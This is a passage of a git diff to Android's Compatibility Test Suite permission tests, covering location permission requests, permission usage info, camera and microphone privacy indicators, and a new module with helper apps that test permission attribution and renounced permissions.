     fun testCantRequestFgAndBgAtOnce() {
-        installPackage(APP_APK_PATH_LATEST_WITH_BACKGROUND)
+        installPackage(APP_APK_PATH_30_WITH_BACKGROUND)
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(ACCESS_BACKGROUND_LOCATION, false)
 
@@ -39,7 +39,7 @@
 
     @Test
     fun testRequestBothInSequence() {
-        installPackage(APP_APK_PATH_LATEST_WITH_BACKGROUND)
+        installPackage(APP_APK_PATH_30_WITH_BACKGROUND)
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(ACCESS_BACKGROUND_LOCATION, false)
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionUsageInfoTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionUsageInfoTest.kt
new file mode 100644
index 0000000..60c39fe
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionUsageInfoTest.kt
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import android.app.Activity
+import android.app.AppOpsManager
+import android.content.ComponentName
+import android.content.Intent
+import android.location.LocationManager
+import android.support.test.uiautomator.By
+import androidx.core.os.BuildCompat
+import com.android.compatibility.common.util.AppOpsUtils.setOpMode
+import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertEquals
+import org.junit.Assert.assertTrue
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import java.util.concurrent.TimeUnit
+
+/**
+ * Tests permission usage info action for location providers.
+ */
+class PermissionUsageInfoTest : BaseUsePermissionTest() {
+    val locationManager = context.getSystemService(LocationManager::class.java)!!
+
+    @Before
+    fun installAppLocationProviderAndAllowMockLocation() {
+        installPackage(APP_APK_PATH_LOCATION_PROVIDER)
+        // The package name of a mock location provider is the caller adding it, so we have to let
+        // the test app add itself.
+        setOpMode(APP_PACKAGE_NAME, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED)
+    }
+
+    @Before
+    fun allowMockLocation() {
+        // Allow ourselves to reliably remove the test location provider.
+        setOpMode(
+            context.packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED
+        )
+    }
+
+    @Before
+    fun assumeHandheld() {
+        assumeFalse(isAutomotive)
+        assumeFalse(isTv)
+        assumeFalse(isWatch)
+    }
+
+    @After
+    fun removeTestLocationProvider() {
+        locationManager.removeTestProvider(APP_PACKAGE_NAME)
+    }
+
+    @Test
+    fun testLocationProviderPermissionUsageInfo() {
+        val locationProviderPackageName: String
+        if (BuildCompat.isAtLeastS()) {
+            // Add the test app as location provider.
+            val future = startActivityForFuture(
+                Intent().apply {
+                    component = ComponentName(
+                        APP_PACKAGE_NAME, "$APP_PACKAGE_NAME.AddLocationProviderActivity"
+                    )
+                }
+            )
+            val result = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
+            assertEquals(Activity.RESULT_OK, result.resultCode)
+            assertTrue(
+                callWithShellPermissionIdentity {
+                    locationManager.isProviderPackage(APP_PACKAGE_NAME)
+                }
+            )
+            locationProviderPackageName = APP_PACKAGE_NAME
+        } else {
+            // Test location provider doesn't count as location provier package before S.
+            val locationManager = context.getSystemService(LocationManager::class.java)!!
+            locationProviderPackageName = packageManager.getInstalledApplications(0)
+                .map { it.packageName }
+                .filter {
+                    callWithShellPermissionIdentity { locationManager.isProviderPackage(it) }
+                }
+                .firstOrNull {
+                    Intent(Intent.ACTION_VIEW_PERMISSION_USAGE)
+                        .setPackage(it)
+                        .resolveActivity(packageManager) != null
+                }
+                .let {
+                    assumeTrue(it != null)
+                    it!!
+                }
+        }
+
+        runWithShellPermissionIdentity {
+            context.startActivity(
+                Intent(Intent.ACTION_MANAGE_APP_PERMISSIONS).apply {
+                    putExtra(Intent.EXTRA_PACKAGE_NAME, locationProviderPackageName)
+                    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                }
+            )
+        }
+        click(By.res("com.android.permissioncontroller:id/icon"))
+    }
+}
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index ed39021..ce490f2 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -31,6 +31,7 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "cts-wm-util",
     ],
     test_suites: [
         "cts",
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 0f36f5a..0d4558ec0 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -26,6 +26,7 @@
 import android.os.Process
 import android.provider.DeviceConfig
 import android.provider.Settings
+import android.server.wm.WindowManagerStateHelper
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiSelector
@@ -51,6 +52,7 @@
 private const val IDLE_TIMEOUT_MILLIS: Long = 1000
 private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
 private const val TIMEOUT_MILLIS: Long = 20000
+private const val TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator"
 
 class CameraMicIndicatorsPermissionTest {
     private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
@@ -115,6 +117,9 @@
             )
         }
 
+        pressBack()
+        pressBack()
+        pressHome()
         pressHome()
     }
 
@@ -144,7 +149,28 @@
             val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
-        uiDevice.openNotification()
+
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            assertTvIndicatorsShown(useMic, useCamera)
+        } else {
+            uiDevice.openQuickSettings()
+            assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
+        }
+    }
+
+    private fun assertTvIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
+        if (useMic) {
+            WindowManagerStateHelper().waitFor("Waiting for the mic indicator window to come up") {
+                it.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE) &&
+                        it.isWindowVisible(TV_MIC_INDICATOR_WINDOW_TITLE)
+            }
+        }
+        if (useCamera) {
+            // There is no camera indicator on TVs.
+        }
+    }
+
+    private fun assertPrivacyChipAndIndicatorsPresent(useMic: Boolean, useCamera: Boolean) {
         // Ensure the privacy chip is present
         eventually {
             val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
@@ -163,7 +189,6 @@
             val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
-        pressBack()
     }
 
     private fun pressBack() {
diff --git a/tests/tests/permission5/Android.bp b/tests/tests/permission5/Android.bp
new file mode 100644
index 0000000..242f4d1
--- /dev/null
+++ b/tests/tests/permission5/Android.bp
@@ -0,0 +1,41 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsPermission5TestCases",
+    sdk_version: "test_current",
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
+        "ctstestrunner-axt",
+    ],
+    data: [
+        ":CtsBlamedPermissionApp",
+        ":CtsBlamedPermissionApp2",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+}
diff --git a/tests/tests/permission5/AndroidManifest.xml b/tests/tests/permission5/AndroidManifest.xml
new file mode 100644
index 0000000..6a300bf
--- /dev/null
+++ b/tests/tests/permission5/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission5.cts">
+
+    <attribution android:tag="accessor_attribution_tag" android:label="@string/foo_label" />
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+    <uses-permission android:name="android.permission.WRITE_CALENDAR" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".NoOpActivity"/>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.permission5.cts"
+        android:label="CTS permission attribution tests">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/permission5/AndroidTest.xml b/tests/tests/permission5/AndroidTest.xml
new file mode 100644
index 0000000..d449d9f
--- /dev/null
+++ b/tests/tests/permission5/AndroidTest.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<configuration description="Config for CTS Permission5 test cases">
+
+    <option name="test-suite-tag" value="cts" />
+
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsPermission5TestCases.apk" />
+    </target_preparer>
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller" >
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsBlamedPermissionApp.apk" />
+        <option name="test-file-name" value="CtsBlamedPermissionApp2.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.permission5.cts" />
+        <option name="runtime-hint" value="5m" />
+    </test>
+
+</configuration>
diff --git a/tests/tests/permission5/BlamedPermissionApp/Android.bp b/tests/tests/permission5/BlamedPermissionApp/Android.bp
new file mode 100644
index 0000000..7b85847
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsBlamedPermissionApp",
+    srcs: [
+        "src/**/*.kt",
+    ],
+}
+
diff --git a/tests/tests/permission5/BlamedPermissionApp/AndroidManifest.xml b/tests/tests/permission5/BlamedPermissionApp/AndroidManifest.xml
new file mode 100644
index 0000000..3bcddd1
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission5.cts.blamed">
+
+    <attribution android:tag="receiver_attribution_tag" android:label="@string/foo_label" />
+
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+    <uses-permission android:name="android.permission.WRITE_CALENDAR" />
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <application>
+        <activity android:name=".BringToForegroundActivity" android:exported="true"/>
+    </application>
+
+</manifest>
diff --git a/tests/tests/permission5/BlamedPermissionApp/res/values/strings.xml b/tests/tests/permission5/BlamedPermissionApp/res/values/strings.xml
new file mode 100755
index 0000000..79b7e8a
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <string name="foo_label">foo</string>
+</resources>
diff --git a/tests/tests/permission5/BlamedPermissionApp/src/android/permission5/cts/blamed/BringToForegroundActivity.kt b/tests/tests/permission5/BlamedPermissionApp/src/android/permission5/cts/blamed/BringToForegroundActivity.kt
new file mode 100644
index 0000000..7423533
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp/src/android/permission5/cts/blamed/BringToForegroundActivity.kt
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission5.cts.blamed
+
+import android.app.Activity
+import android.content.AttributionSource
+import android.content.ContextParams
+import android.content.Intent
+import android.os.Bundle
+import android.os.RemoteCallback
+import android.util.ArraySet
+
+class BringToForegroundActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        val callback = intent.getParcelableExtra<RemoteCallback>(REMOTE_CALLBACK)
+
+        val attributionContext = createContext(
+                ContextParams.Builder()
+                        .setAttributionTag(RECEIVER_ATTRIBUTION_TAG)
+                        .setNextAttributionSource(AttributionSource.Builder(
+                                        packageManager.getPackageUid(RECEIVER2_PACKAGE_NAME, 0))
+                                .setPackageName(RECEIVER2_PACKAGE_NAME)
+                                .setAttributionTag(RECEIVER2_ATTRIBUTION_TAG)
+                                .build())
+                        .build())
+
+        val result = Bundle()
+        result.putParcelable(ATTRIBUTION_SOURCE, attributionContext.attributionSource)
+        callback?.sendResult(result)
+    }
+
+    override fun onNewIntent(intent: Intent?) {
+        super.onNewIntent(intent)
+        finish()
+    }
+
+    companion object {
+        val REMOTE_CALLBACK = "remote_callback"
+        val ATTRIBUTION_SOURCE = "attribution_source"
+        val RECEIVER2_PACKAGE_NAME = "android.permission5.cts.blamed2"
+        val RECEIVER_ATTRIBUTION_TAG = "receiver_attribution_tag"
+        val RECEIVER2_ATTRIBUTION_TAG = "receiver2_attribution_tag"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission5/BlamedPermissionApp2/Android.bp b/tests/tests/permission5/BlamedPermissionApp2/Android.bp
new file mode 100644
index 0000000..886a2f7
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp2/Android.bp
@@ -0,0 +1,27 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsBlamedPermissionApp2",
+    srcs: [
+        "src/**/*.kt",
+    ],
+}
+
diff --git a/tests/tests/permission5/BlamedPermissionApp2/AndroidManifest.xml b/tests/tests/permission5/BlamedPermissionApp2/AndroidManifest.xml
new file mode 100644
index 0000000..2817aba
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp2/AndroidManifest.xml
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission5.cts.blamed2">
+
+    <attribution android:tag="receiver2_attribution_tag" android:label="@string/foo_label" />
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.READ_CONTACTS" />
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.READ_CALL_LOG" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <service android:name=".MyRecognitionService"
+                 android:label="@string/foo_label"
+                 android:exported="true">
+            <intent-filter>
+                <action android:name="android.speech.RecognitionService" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+    </application>
+
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.permission5.cts.blamed2"
+        android:label="CTS permission attribution tests">
+        <meta-data
+            android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/permission5/BlamedPermissionApp2/res/values/strings.xml b/tests/tests/permission5/BlamedPermissionApp2/res/values/strings.xml
new file mode 100755
index 0000000..79b7e8a
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp2/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <string name="foo_label">foo</string>
+</resources>
diff --git a/tests/tests/permission5/BlamedPermissionApp2/src/android/permission5/cts/blamed2/MyRecognitionService.kt b/tests/tests/permission5/BlamedPermissionApp2/src/android/permission5/cts/blamed2/MyRecognitionService.kt
new file mode 100644
index 0000000..05e25cd
--- /dev/null
+++ b/tests/tests/permission5/BlamedPermissionApp2/src/android/permission5/cts/blamed2/MyRecognitionService.kt
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission5.cts.blamed2
+
+import android.content.Intent
+import android.media.AudioFormat
+import android.media.AudioRecord.Builder
+import android.media.MediaRecorder
+import android.speech.RecognitionService
+
+class MyRecognitionService : RecognitionService() {
+
+    override fun onStartListening(intent: Intent, callback: Callback) {
+        when (intent.extras?.get(OPERATION)!!) {
+            OPERATION_MIC_RECO -> {
+                performOperationMicReco(callback)
+            }
+            OPERATION_INJECT_RECO -> {
+                performOperationInjectReco(callback)
+            }
+        }
+    }
+
+    override fun onStopListening(callback: Callback) {}
+
+    override fun onCancel(callback: Callback) {}
+
+    fun performOperationMicReco(callback: Callback) {
+        // Setup a recorder
+        val recorder = Builder()
+                .setAudioSource(MediaRecorder.AudioSource.MIC)
+                .setBufferSizeInBytes(1024)
+                .setAudioFormat(AudioFormat.Builder()
+                        .setSampleRate(8000)
+                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                        .build())
+                .build()
+
+        // Start recognition
+        recorder.startRecording()
+
+        // Pretend we do something...
+        callback.bufferReceived(ByteArray(0))
+
+        // Stop recognition
+        recorder.stop()
+    }
+
+    fun performOperationInjectReco(callback: Callback) {
+        callback.bufferReceived(ByteArray(0))
+    }
+
+    companion object {
+        val OPERATION = "operation"
+        val OPERATION_MIC_RECO = "operation:mic_reco"
+        val OPERATION_INJECT_RECO = "operation:inject_reco"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission5/OWNERS b/tests/tests/permission5/OWNERS
new file mode 100644
index 0000000..febd665
--- /dev/null
+++ b/tests/tests/permission5/OWNERS
@@ -0,0 +1,7 @@
+# Bug component: 137825
+svetoslavganov@google.com
+zhanghai@google.com
+eugenesusla@google.com
+evanseverson@google.com
+ntmyren@google.com
+ewol@google.com
diff --git a/tests/tests/permission5/res/values/strings.xml b/tests/tests/permission5/res/values/strings.xml
new file mode 100755
index 0000000..79b7e8a
--- /dev/null
+++ b/tests/tests/permission5/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <string name="foo_label">foo</string>
+</resources>
diff --git a/tests/tests/permission5/src/android/permission5/cts/NoOpActivity.kt b/tests/tests/permission5/src/android/permission5/cts/NoOpActivity.kt
new file mode 100644
index 0000000..5acc324
--- /dev/null
+++ b/tests/tests/permission5/src/android/permission5/cts/NoOpActivity.kt
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission5.cts
+
+import android.app.Activity
+import android.content.Context
+
+class NoOpActivity : Activity() {
+    public override fun attachBaseContext(newBase: Context?) {
+        super.attachBaseContext(newBase)
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission5/src/android/permission5/cts/RenouncedPermissionsTest.kt b/tests/tests/permission5/src/android/permission5/cts/RenouncedPermissionsTest.kt
new file mode 100644
index 0000000..30d795e
--- /dev/null
+++ b/tests/tests/permission5/src/android/permission5/cts/RenouncedPermissionsTest.kt
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission5.cts
+
+import android.Manifest
+import android.app.Activity
+import android.app.Instrumentation
+import android.content.AttributionSource
+import android.content.Context
+import android.content.ContextParams
+import android.content.pm.PackageManager
+import android.os.Process
+import android.permission.PermissionManager
+import android.provider.CalendarContract
+import android.provider.ContactsContract
+import android.util.ArraySet
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import com.google.common.truth.Truth.assertThat
+import org.junit.Assert.assertThrows
+import org.junit.Test
+import org.junit.function.ThrowingRunnable
+import org.mockito.Mockito
+import org.mockito.Mockito.`when`
+import java.util.concurrent.atomic.AtomicReference
+
+class RenouncedPermissionsTest {
+
+    @Test
+    @Throws(Exception::class)
+    fun testRenouncePermissionsChain() {
+        val receiverAttributionSource = getShellAttributionSourceWithRenouncedPermissions()
+        val activity = createActivityWithAttributionContext(receiverAttributionSource)
+
+        // Out app has the permissions
+        assertThat(activity.checkSelfPermission(Manifest.permission.READ_CALENDAR))
+                .isEqualTo(PackageManager.PERMISSION_GRANTED)
+        assertThat(activity.checkSelfPermission(Manifest.permission.READ_CONTACTS))
+                .isEqualTo(PackageManager.PERMISSION_GRANTED)
+
+        // Accessing the data should also fail (for us and next in the data flow)
+        assertThrows(SecurityException::class.java, ThrowingRunnable{
+            activity.contentResolver.query(CalendarContract.Calendars.CONTENT_URI,
+                    null, null, null)!!.close()
+        })
+        assertThrows(SecurityException::class.java, ThrowingRunnable{
+            activity.contentResolver.query(ContactsContract.Contacts.CONTENT_URI,
+                    null, null, null)!!.close()
+        })
+    }
+
+    @Test(expected = SecurityException::class)
+    fun testCannotRenouncePermissionsWithoutPermission() {
+        val renouncedPermissions = ArraySet<String>()
+        renouncedPermissions.add(Manifest.permission.READ_CONTACTS);
+
+        // Trying to renounce permissions with no permission throws
+        createActivityWithAttributionContext(/*receiverAttributionSource*/ null,
+                renouncedPermissions)
+    }
+
+    @Test(expected = IllegalArgumentException::class)
+    fun testCannotRequestRenouncePermissions() {
